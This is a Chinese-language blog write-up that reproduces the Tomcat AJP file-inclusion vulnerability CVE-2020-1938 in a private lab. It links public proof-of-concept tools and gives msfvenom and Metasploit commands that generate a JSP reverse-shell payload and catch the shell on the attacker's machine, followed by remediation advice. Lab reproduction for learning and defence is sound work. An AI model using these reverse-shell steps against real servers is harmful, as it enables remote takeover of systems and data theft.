CVE-2020-1938 Tomcat文件包含漏洞复现

0x01 漏洞概述

Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。

Apache Tomcat 7.0.100之前的7.*版本、8.5.51之前的8.*版本和9.0.31之前的9.*版本中的Tomcat AJP协议存在文件包含漏洞。攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp 配置文件或源代码等。

 

0x02 影响版本

  Apache Tomcat 6

  Apache Tomcat 7 < 7.0.100

  Apache Tomcat 8 < 8.5.51

  Apache Tomcat 9 < 9.0.31

 

0x03 环境搭建

  • Centos7 (192.168.114.129)
  • Kali (192.168.114.173)
  • Tomcat 9.0.30
  • jdk 1.8.0_261

① 下载tomcat 9.0.30版本并在Centos7上配置安装

  下载地址:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/

  

 

 

   tomcat在centos7上的安装方法百度上有很多,这里参考了这篇

  https://cloud.tencent.com/developer/article/1334759

 

② 浏览器访问ip:8080查看

    

 

   tomcat环境搭建成功。

 

0x04 漏洞复现

① 这里使用github上的POC验证漏洞

  https://github.com/hypn0s/AJPy

  运行POC可查看tomcat的版本信息

  

   运行POC读取tomcat的配置文件信息web.xml

  

  可看到成功读取到配置信息。

 

②利用该漏洞实现RCE

 

  需要先将payload上传至tomcat目录下,然后利用该漏洞激活payload,反弹shell。

  ①  使用msfvenom生成shell.txt  

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 > shell.txt

 

  ②上传至tomcat目录

           

 

  ③执行POC查看反弹Shell

   这里使用了另一个POC:

    https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

  • Kali打开MSF
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp 
msf6 exploit(multi/handler) > set LHOST 192.168.114.173
msf6 exploit(multi/handler) > set LPORT 4444
  • 执行POC

        

  • Kali接受反弹Shell

         

 

 0x05 修复建议

  升级最新版本

  关闭AJP Connector

  将其监听地址改为仅监听本机

 

posted @ 2021-08-19 16:16  Salvere  阅读(2280)  评论(0)    收藏  举报